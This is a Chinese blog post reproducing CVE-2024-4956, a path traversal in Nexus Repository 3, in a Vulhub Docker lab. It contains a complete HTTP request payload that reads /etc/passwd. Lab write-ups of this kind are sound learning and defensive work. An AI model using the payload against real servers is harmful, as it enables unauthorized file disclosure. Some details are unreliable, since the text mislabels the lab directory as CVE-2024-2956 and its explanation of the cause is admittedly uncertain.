Nexus Repository 3未授权路径访问复现——从0到1

Nexus Repository 3未授权路径访问(CVE-2024-4956)

声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责。

0x01 介绍

Nexus Repository 3 是一个流行的软件仓库管理器,由Sonatype公司开发。它主要用于存储和管理软件构件,如JAR文件、WAR文件、Docker镜像、npm包、PyPI包等。

0x02 漏洞原因

该漏洞与@Orange Tsai发现的SpringMVC CVE-2018-1217漏洞类似,cleanPath会将空字符串认为是一个合法目录。

(这里我也有些疑问,不太懂具体原理,如果有大佬看见可以评论解惑一下,哈哈哈)

这里Nexus使用的jetty中URIUtil.canonicalPath()函数也会将空字符串认为是一个合法目录。

0x03 漏洞复现

VulHUB提供了现成的漏洞环境,这里使用VulHUB搭建漏洞环境进行复现。

VulHUB项目:https://github.com/vulhub/vulhub/tree/master

使用VulHUB时,需要具有dockerdocker-compose组件。

搭建过程可以参考:https://blog.csdn.net/LSW_JAVADP/article/details/130127051

将VulHUB压缩包解压之后,进入nexus对应的CVE-2024-2956目录,使用docker-compose开启漏洞环境:

docker-compose up -d

等待拉取完毕:

下载完毕:

默认端口是8081,如果不确定也可以使用docker ps查看正在运行的docker容器,确定一下具体端口号。

访问网站:http://your-ip:8081

使用BurpSuite抓包工具对网站进行抓包,随便选一个抓到的流量包,对流量包进行修改。POC如下:

GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.21839346274362
Connection: close

将抓到的数据包放到Repeater模块,之后将路径换成上述POC,Send发送数据包,可以看到成功读取到/etc/passwd

修复方法

升级到最新版本

结语

该漏洞复现简单,其中没有太多的技术含量,技术小白一个,写的不好的地方希望大家多提提意见。

参考文章

https://github.com/vulhub/vulhub/tree/master

https://blog.csdn.net/LSW_JAVADP/article/details/130127051

posted @ 2024-05-24 14:47  月亮丶  阅读(802)  评论(0)    收藏  举报